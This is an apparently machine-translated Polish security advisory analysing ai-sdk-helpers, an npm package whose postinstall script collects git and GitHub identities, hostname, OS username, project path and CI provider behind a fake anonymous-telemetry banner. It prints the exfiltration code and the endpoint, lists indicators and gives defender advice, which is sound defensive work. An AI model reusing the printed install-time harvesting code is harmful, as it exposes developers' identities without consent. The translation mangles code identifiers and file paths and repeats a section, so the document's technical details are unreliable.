TL; DR
Pojedynczy pakiet npm, pomocnicy ai-sdk, prezentuje się jako zestaw narzędzi produkcyjnych dla Vercel AI SDK, oferujący śledzenie kosztów, zastępowanie dostawców i pomoc w przesyłaniu strumieniowym.
Skrypt instalacyjny otwiera się z dopracowanym banerem informacyjnym opisującym anonimowa diagnostykaobiecując, że nie zostanie przesłany żaden kod źródłowy, tokeny ani dane uwierzytelniające, honorując DO_NOT_TRACK rezygnacji i linkowania do strony dotyczącej polityki telemetrii.
Ten sam skrypt odczytuje następnie tożsamość git programisty, konfigurację GitHub CLI, nazwę hosta komputera, nazwę użytkownika systemu operacyjnego, katalog roboczy i dostawcę CI.
Dane te są wysyłane w formacie JSON do punktu końcowego Google Cloud Run, co powoduje wyraźną niezgodność między określoną polityką telemetryczną a faktycznie zebranymi polami.
Pakiet opublikowano w dwudziestu dwóch wersjach w ciągu jednego 83-sekundowego pakietu, a skrypt instalacyjny jest identyczny bajt po bajcie we wszystkich oznaczonych wersjach.
Siedem z ośmiu wersji sprawdzonych przez nas pipeline zostały ocenione jako niejednoznaczne przez klasyfikator ML, ponieważ styl banera zgody przypomina legalne dane telemetryczne.
Klasyfikujemy ai-sdk-helpers jako złośliwe, bazując na gromadzeniu i eksfiltracji danych osobowych programistów w czasie instalacji.
Stopień zagrożenia: wysoki.
Anatomia instalacji
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } po instalacji uruchamia się automatycznie npm zainstalować, zanim zostanie zaimportowany jakikolwiek kod reklamowany w pakiecie. Skrypt skrypty/postinstall.js Tutaj znajdują się wszystkie zachowania związane z czasem instalacji.
Otwiera się blokiem komentarza i informacją o czasie wykonania zapisaną w rejestrze projektu open source dbającego o prywatność:
>Po zainstalowaniu pakietu ai-sdk-helpers przeprowadzamy szybką kontrolę zgodności środowiska i raportujemy anonimową diagnostykę… Dane są w pełni anonimowe — zbieramy informacje o Twojej platformie, wersji węzła oraz jednokierunkowy skrót identyfikatora Twojej maszyny. Nigdy nie przesyłamy kodu źródłowego, tokenów ani danych uwierzytelniających.
Zawiera nawet działającą bramkę rezygnacji, pierwszy wykonywalny kod w pliku:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } sznurowanie tej bramy jako pierwszej sprawia, że reszta jest postrzegana jako konsensualna: deweloper, który ustala `D_NOT_TRACK` Instalacja jest automatycznie kończona i kończy się w trybie cichym, a pakiet uznaje konwencję za przestrzeganą. Uhonorowana rezygnacja jest faktem. To, co blokuje, dla każdego, kto jej nie ustawi, to kolekcja opisana poniżej — a nie węższe „platforma, wersja węzła i jednokierunkowy hash”, jak nazywają to powiadomienia.
Poniżej tej bramy skrypt tworzy ładunek, który znacznie wykracza poza ten opis.
- *Gtożsamość t.* rrozwiązaćScmTożsamość()` czyta `~.gitconfig`,`~.config/git/config`,i bieżącego projektu `.to/config`,analizuje `[ser]` sekcja i zwraca skonfigurowane commit e-mail. Jeśli żaden plik konfiguracyjny nie generuje wiadomości e-mail, powraca do `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,i `EAIL` Zmienne środowiskowe. Ciąg dokumentacyjny powyżej funkcji przedstawia odczyt jako sposób „deduplikacji instalacji na komputerach należących do tej samej osoby (np. laptop + CI)” — zadeklarowany cel, który wymaga stabilnego identyfikatora dla każdego programisty, który commit materiały e-mailowe.
- *GKonto tHub.* rrozwiążGitHubIdentity()` czyta `~.config/gh/hosts.yml` i `~.config/gh/hosts.yaml` plik konfiguracyjny zapisywany przez interfejs wiersza poleceń GitHub, gdy programista uwierzytelnia się — i wyodrębnia wyrażenie regularne `uer:` i `edolegać:` ields. Ten plik przechowuje również token GitHub OAuth; wyrażenie regularne skryptu dotyczy wyłącznie wierszy nazwy użytkownika i adresu e-mail i nie wyodrębnia tokenu. Stwierdzenie na banerze informacyjnym, że „tokeny… nigdy nie są przesyłane”, jest zatem prawdziwe dla tego jednego pola, podczas gdy otaczające je identyfikatory kont są odczytywane i wysyłane.
- *Hodcisk palca st i CI.* Następnie skrypt zbiera `o.nazwa_hosta()`,`o.userInfo().nazwa_użytkownika`,wersja węzła, platforma i architektura, `pproces.cwd()`,oraz etykietę dostawcy CI rozwiązaną poprzez sprawdzenie zmiennych środowiskowych dla ośmiu dostawców (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite i dwóch flag generycznego CI). Lista dostawców to spis miejsc, w których skrypt ma się uruchamiać — interaktywne powłoki i automatyczne kompilacje. pipelinejest podobny.
Wszystkie te elementy są zgrupowane w jednym `dagnostycy` obiekt, z polami dla każdego programisty zebranymi w ramach `ipodmiot` ey i dane hosta pod `rntime` i `cntext` eys, następnie serializowane i przesyłane:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Odpowiedź jest odrzucana, a wszystkie błędy są pomijane — w komentarzu zaznaczono, że „telemetria nigdy nie może przerwać instalacji”. Nazwa hosta punktu końcowego koduje usługę Google Cloud Run w `elina-zachód1` region.
Luka to historia. Baner wymienia trzy kategorie danych – platformę, wersję węzła i skrót identyfikatora maszyny. Ładunek wysyła prawdziwy kod Gita programisty. commit adres e-mail, nazwę użytkownika i adres e-mail w GitHubie, nazwę hosta komputera i nazwę konta systemu operacyjnego, ścieżkę projektu oraz środowisko CI. Pola identyfikujące *posoby i ich konta* dokładnie te pola, które zostały pominięte w ujawnieniu.
Plik README wzmacnia to ujęcie z drugiej strony. Sekcja „Telemetria” powtarza deklarację anonimowości i łączy słowo „D”_NOT_TRACK` o `cnsoledonottrack.com`,prawdziwa strona społeczności dokumentująca konwencję rezygnacji — pożyczając uznaną politykę prywatności standard aby odczytać zawiadomienie jako rutynowe.
Oś czasu
To odkrycie w jednym pakiecie z bardzo krótką, ale bardzo bogatą historią publikacji. Nie ma tu wielotygodniowej kampanii, którą można by prześledzić – cały zakres wersji został wydany z prędkością maszynową.
| Kiedy (UTC) | wydarzenie |
|---|---|
| 2026-06-03 20:31:20 | Pierwsza wersja (0.1.0) opublikowano w npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Wszystkie 22 wersje (0.1.0 przez 1.4.2) opublikowano w 83-sekundowym zautomatyzowanym strumieniu. |
| 2026-06-04 | Osiem wersji oznaczonych sygnałami detekcji; analiza ręczna potwierdza zbieranie danych identyfikacyjnych i ich eksfiltrację w czasie instalacji. Pakiet pozostawał aktywny w npm w momencie analizy. |
Okno 83 sekund obejmujące 22 wersje semantyczne samo w sobie stanowi wskaźnik behawioralny: drabinę wersji (`01.0',`01.1',… `14.2`)prezentuje powierzchnię aktywnie utrzymywanego projektu z historią wydań, wygenerowaną w jednym skrypcie. Skrypt instalacyjny nie zmienia się w całej drabince — patrz poniżej.
Wskaźniki kompromisu
Ładunek instalacyjny jest identyczny w całym zakresie opublikowanych wersji.odp` f `sripts/postinstall.js` pomiędzy wersją `02.1` i wersja `14.2` nie zwraca żadnych różnic; zachowanie to jest jednym stałym odciskiem palca, a nie rozwijającym się ładunkiem.
Sieć
Okno 83 sekund obejmujące 22 wersje semantyczne samo w sobie stanowi wskaźnik behawioralny: drabinę wersji (`01.0',`01.1',… `14.2`)prezentuje powierzchnię aktywnie utrzymywanego projektu z historią wydań, wygenerowaną w jednym skrypcie. Skrypt instalacyjny nie zmienia się w całej drabince — patrz poniżej.
Wskaźniki kompromisu
Ładunek instalacyjny jest identyczny w całym zakresie opublikowanych wersji.odp` f `sripts/postinstall.js` pomiędzy wersją `02.1` i wersja `14.2` nie zwraca żadnych różnic; zachowanie to jest jednym stałym odciskiem palca, a nie rozwijającym się ładunkiem.
Sieć
| Wskaźnik | Rola |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Punkt końcowy eksfiltracji odbierający żądania HTTPS POST z ładunkami JSON. Hostowany w Google Cloud Run w europe-west1 region. |
Infrastruktura wabiąca
| Wskaźnik | Rola |
|---|---|
ai-sdk.guide | Strona główna pakietu i witryna na żywo obsługująca tożsamość autora „AI SDK Guide”. |
ai-sdk.guide/telemetry | Adres URL zasad telemetrii podany w powiadomieniu o ujawnieniu podczas instalacji. |
hello@ai-sdk.guide | Zadeklarowano adres e-mail autora package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Repozytorium źródłowe zadeklarowane przez pakiet. |
Pliki odczytywane w czasie instalacji
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` Poczta
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` Interfejs wiersza poleceń GitHub `uer` `edolegać`
Sygnatury behawioralne
- – m `pstinstall` ook wywołuje dołączony skrypt Node
- – bramka opt-out (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)prezentowane jako funkcja prywatności, przed gromadzeniem tożsamości
- – tbound HTTPS POST obiektu JSON zawierającego adres e-mail git, tożsamość GitHub, nazwę hosta, nazwę użytkownika systemu operacyjnego, cwd i etykietę CI
- – identyczny skrypt instalacyjny w szybko opublikowanej wersji drabinkowej
Atrybucja i obserwowane zachowanie
Nie przypisujemy niczego poza danymi zawartymi w pakiecie i metadanych rejestru.
Opiekunem rekordu npm jest konto `aielsimon`,z adresem `aiel@vigilance.security`.Rejestr określa ten adres e-mail jako niezweryfikowany, a tożsamość konta jako niezweryfikowaną.ckage.json`,oddzielnie przedstawia autora jako „Przewodnik po AI SDK”ello@ai-sdk.guide>`”ze stroną główną `a-sdk.guide` i repozytorium źródłowe pod `gOrganizacja thub.com/ai-sdk-guide. Domena e-mail konta publikującego (`vigilance.security`)i tożsamość autora w pakiecie (`a-sdk.guide`)to różne domeny.
`a-sdk.guide` jest on aktywny i reaguje, a `/elektronometria` Rozwiązanie ath — tożsamość wabika jest wspierana przez dostępną obecność w sieci, a nie przez martwy link, co zwiększa wiarygodność struktury pakietu.
**Zaobserwowana możliwość.** Podczas instalacji pakiet odczytuje pliki tożsamości programisty i konfiguracji konta, tworzy odcisk palca hosta i środowiska CI oraz przesyła wynik do punktu końcowego kontrolowanego przez operatora, wyświetlając jednocześnie powiadomienie opisujące węższy i zanonimizowany zestaw danych. Opisujemy to zachowanie, ale nie twierdzimy, że jest ono motywowane. Czytelnicy oceniający pakiet — w tym każda strona rozpoznająca tożsamość publikującego — powinni rozważyć obserwowaną niezgodność między deklarowanymi a rzeczywistymi przepływami danych.
Wpływ, trendy i wskazówki dla obrońców
Kto jest narażony. Każdy, kto instaluje pomocnicy ai-sdk — bezpośrednio lub jako zależność przechodnia — uruchamia kolekcję na tej maszynie. Ponieważ wyzwalacz jest po instalacji, reklamowany kod biblioteki nigdy nie musi być importowany, aby nastąpił przepływ danych; sama instalacja jest wystarczająca. Środowiska o najwyższej wartości to stacje robocze programistów ze skonfigurowaną tożsamością git i uwierzytelnionym interfejsem wiersza poleceń GitHub oraz programy uruchamiające CI, gdzie wykrycie dostawcy CI przez skrypt wskazuje, że kolekcja ma zostać uruchomiona w ramach kompilacji. pipelinejak i na laptopach.
Co ujawnia. Nie są to w ogólnym przypadku tajemnice aplikacji — ładunek koncentruje się na tożsamość:dewelopera commit adres e-mail, nazwę konta GitHub i adres e-mail, nazwę komputera i konta oraz ścieżkę projektu. To jest wstępnycisMapa tego, kto zainstalował pakiet, na jakim komputerze, w jakim repozytorium i w jakim systemie CI. Dla organizacji, kilka takich rekordów zebranych razem pozwoliłoby na wyliczenie, którzy inżynierowie i które systemy kompilacji pobrały zależność – przydatne jako wstęp do bardziej ukierunkowanych działań następczych, mimo że zachowanie samego pakietu kończy się na jego zebraniu i przesłaniu.
Trend: telemetria jako przykrywka. Legalne narzędzia dla programistów zbierają anonimowe dane diagnostyczne instalacji, a konwencje dotyczące robienia tego w sposób uprzejmy — powiadomienie o ujawnieniu, NIE_ŚLEDŹ honor, flaga rezygnacji, adres URL polityki — są dobrze znane. pomocnicy ai-sdk Wiernie odtwarza wszystkie cztery z tych konwencji i wykorzystuje je jako opakowanie do gromadzenia danych osobowych. Obecność baneru zgody, działającego przycisku rezygnacji z subskrypcji lub linku do polityki prywatności nie jest dowodem na wiarygodność pakietu; podrobienie tych mechanizmów jest niedrogie. Jedynym wiarygodnym sposobem weryfikacji jest to, co kod faktycznie odczytuje i dokąd to wysyła.
To opakowanie ma również wymierny wpływ na automatyczną selekcję. W różnych wersjach nasze pipeline po przejrzeniu, komentarze w języku potocznym skryptu instalacyjnego, strukturalne nazwy pól i konwencjonalna bramka rezygnacji zostały ocenione jako zwykła telemetria: siedem z ośmiu wróciło nieprzekonywający z klasyfikatora ML, a nie złośliwe. Sygnał, który rozstrzyga niejednoznaczność, nie znajduje się w prozie, lecz w konkretnych plikach otwieranych przez skrypt (~ / .gitconfig, ~/.config/gh/hosts.yml) i miejsce docelowe, do którego jest wysyłany. Recenzent, automatyczny lub ludzki, który przeczyta ujawnienie i zatrzyma się na tym, dojdzie do błędnych wniosków; ustalenie musi opierać się na faktach dotyczących przepływu danych.
Wskazówki dla obrońców:
- Zainstaluj ze skryptami domyślnie wyłączonymi — npm install –ignore-scriptslub ustaw ignoruj-skrypty=prawda in .npmrc i uruchamiaj sprawdzone kroki kompilacji jawnie. To neutralizuje po instalacji-wyzwalana kolekcja na całej linii.
- Nie traktuj kontroli rezygnacji jako sygnałów zaufania. NIE_ŚLEDŹ sprawdzenie lub link „zasady telemetrii” nie powiedzą Ci nic na temat danych zbieranych przez skrypt, gdy bramka nie jest ustawiona.
- Przeczytaj instrukcję instalacji przed wdrożeniem pakietów pomocniczych ekosystemu AI. Przestrzeń Vercel AI SDK to dynamicznie rozwijający się, cieszący się dużym zaufaniem cel; po instalacji to dotyka ~ / .gitconfig or ~/.config/gh/ jest wyraźnym sygnałem bez względu na to, jak napisane są otaczające je komentarze.
- Monitoruj ruch wychodzący w czasie kompilacji. Wychodzący sygnał POST HTTPS podczas npm zainstalować, zwłaszcza w przypadku świeżo skonfigurowanego punktu końcowego funkcji w chmurze, można zaobserwować na poziomie warstwy sieciowej i jest to silny punkt wykrywania dla środowisk CI.
- Uważaj na skompresowane drabinki wersji. Pakiet, którego cała historia wersji semantycznej pojawia się w ciągu kilku sekund, z niezmiennym skryptem instalacyjnym, prezentuje sfabrykowaną historię konserwacji.





